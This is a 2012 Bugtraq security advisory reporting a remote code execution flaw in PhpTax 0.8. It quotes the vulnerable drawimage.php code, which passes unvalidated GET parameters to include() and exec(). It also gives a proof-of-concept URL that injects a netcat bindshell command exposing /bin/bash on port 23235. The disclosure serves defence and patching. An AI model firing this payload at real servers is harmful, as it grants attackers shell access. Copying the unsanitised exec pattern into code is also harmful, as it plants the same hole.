bugtraq - phptax 0.8 <= Remote Code Execution Vulnerability

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Message-Id: <201210021030.q92AUYEg018593@sf01web3.securityfocus.com>
Date: Tue, 2 Oct 2012 10:30:34 GMT
From: pereira@...biz.de
To: bugtraq@...urityfocus.com
Subject: phptax 0.8 <= Remote Code Execution Vulnerability

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phptax 0.8 <= Remote Code Execution Vulnerability
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Discovered by: Jean Pascal Pereira <pereira@...biz.de>

Vendor information:

"PhpTax is free software to do your U.S. income taxes. Tested under Unix environment.
The program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot."

Vendor URI: http://sourceforge.net/projects/phptax/

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Risk-level: High

The application is prone to a remote code execution vulnerability.

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drawimage.php, line 63:

include ("./files/$_GET[pfilez]");

// makes a png image
$pfilef=str_replace(".tob",".png",$_GET[pfilez]);
$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);
Header("Content-type: image/png");
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");

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Exploit / Proof of Concept:

Bindshell on port 23235 using netcat:

http://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

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Solution:

Do some input validation.

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